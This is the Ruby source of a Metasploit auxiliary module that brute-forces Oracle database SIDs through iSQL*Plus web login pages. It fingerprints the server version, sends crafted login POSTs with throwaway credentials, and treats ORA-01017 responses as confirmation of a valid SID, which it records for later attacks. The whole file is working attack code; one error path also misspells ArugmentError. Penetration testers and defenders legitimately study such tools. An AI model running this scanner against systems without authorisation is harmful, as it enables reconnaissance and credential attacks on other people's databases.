##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'        => 'Oracle iSQLPlus SID Check',
      'Description' => %q{
        This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus
        login pages.  It does this by testing Oracle error responses returned in the HTTP response.
        Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error.
        Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus.  This module will attempt to
        fingerprint the version and automatically select the correct POST request.
      },
      'References'  =>
      [
        [ 'URL', 'https://blog.carnal0wnage.com/' ],
      ],
      'Author'      => [ 'CG', 'todb' ],
      'License'     => MSF_LICENSE
      )

      register_options([
        Opt::RPORT(5560),
        OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']),
        OptString.new('SID', [ false, 'A single SID to test']),
        OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),
        OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30])
      ])

      deregister_options(
        "RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",
        "BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",
        "BRUTEFORCE_SPEED" # Slow as heck anyway
      )

  end

  def sid_file
    datastore['SIDFILE']
  end

  def hostport
    [target_host,rport].join(":")
  end

  def uri
    datastore['URI'] || "/isqlplus/"
  end

  def timeout
    (datastore['TIMEOUT'] || 30).to_i
  end

  def msg
    msg = "#{hostport} - Oracle iSQL*Plus -"
  end

  def run_host(ip)
    oracle_ver = get_oracle_version(ip)
    if not check_oracle_version(oracle_ver)
      print_error "#{msg} Unknown Oracle version, skipping."
      return
    end
    begin
      print_status("#{msg} Starting SID check")
      sid_data.each do |sid|
        guess = check_oracle_sid(ip,oracle_ver,sid)
        return if guess and datastore['STOP_ON_SUCCESS']
      end
      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
        print_error "#{msg} Cannot connect"
      rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e
        print_error e.message
    end
  end

  def get_oracle_version(ip)
    begin
      res = send_request_cgi({
        'version' => '1.1',
        'uri'     => uri,
        'method'  => 'GET',
      }, timeout)
      oracle_ver = nil
      if (res.nil?)
        print_error("#{msg} no response")
      elsif (res.code == 200)
        print_status("#{msg} Received an HTTP #{res.code}")
        oracle_ver = detect_oracle_version(res)
      elsif (res.code == 404)
        print_error("#{msg} Received an HTTP 404, check URIPATH")
      elsif (res.code == 302)
        print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")
      else
        print_error("#{msg} Received an HTTP #{res.code}")
      end
      return oracle_ver
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
      print_error "#{msg} Cannot connect"
    end
  end

  def detect_oracle_version(res)
    m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)
    oracle_ver = nil
    oracle_ver = 10 if m[1] && m[1] =~ /10/
      oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/
      if oracle_ver
        print_status("#{msg} Detected Oracle version #{oracle_ver}")
        print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1
      else
        print_error("#{msg} Unknown Oracle version detected.")
      end
    return oracle_ver
  end

  def check_oracle_version(ver)
    [9.0,9.1,9.2,10].include? ver
  end

  def build_post_request(ver,sid)
    post_request = nil
    case ver
    when 9.0
      post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC"
    when 9.1
      post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"
    when 9.2
      post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"
    when 10
      post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login"
    end
    return post_request
  end

  def parse_isqlplus_response(res,sid)
    guess = false
    if (res.nil?)
      print_error("#{msg} No response")
    elsif (res.code == 200)
      if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)
        if sid.nil? || sid.empty?
          print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.")
        else
          print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'")
        end
        guess = true
      elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/)
        vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})")
      elsif res.body =~ /(ORA-12541):/
        print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.")
        guess = true
      else
        print_status("#{msg} Received an unknown error") # Should say what the error was
      end
    elsif (res.code == 404)
      print_status("#{msg} Received an HTTP 404, check URIPATH")
    elsif (res.code == 302)
      print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}")
    else
      print_status("#{msg} Received an unexpected response: #{res.code}")
    end

    report_isqlplus_service(target_host,res) if res
    return guess
  end

  def report_isqlplus_service(ip,res)
    sname = datastore['SSL'] ? 'https' : 'http'
    report_service(
      :host => ip,
      :proto => 'tcp',
      :port => rport,
      :name => sname,
      :info => res.headers["Server"].to_s.strip
    )
  end

  def report_oracle_sid(ip,sid)
    report_note(
      :host => ip,
      :proto => 'tcp',
      :port => rport,
      :type => "oracle.sid",
      :data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),
      :update => :unique_data
    )
  end

  def sid_data
    if datastore['SID'] and not datastore['SID'].empty?
      [datastore['SID']]
    elsif sid_file and ::File.readable? sid_file
      ::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq
    else
      raise ArugmentError, "Cannot read file '#{sid_file}'"
    end
  end

  def check_oracle_sid(ip,oracle_ver,sid)
    post_request = build_post_request(oracle_ver,sid)
    vprint_status "#{msg} Trying SID '#{sid}', waiting for response..."
    res = send_request_cgi({
      'version' => '1.1',
      'uri'     => uri,
      'method'  => 'POST',
      'data'   => post_request,
      'headers' =>
      {
        'Referer' => "http://#{ip}:#{rport}#{uri}"
      }
    }, timeout)
    guess = parse_isqlplus_response(res,sid)
    report_oracle_sid(ip,sid) if guess
    return guess
  end
end
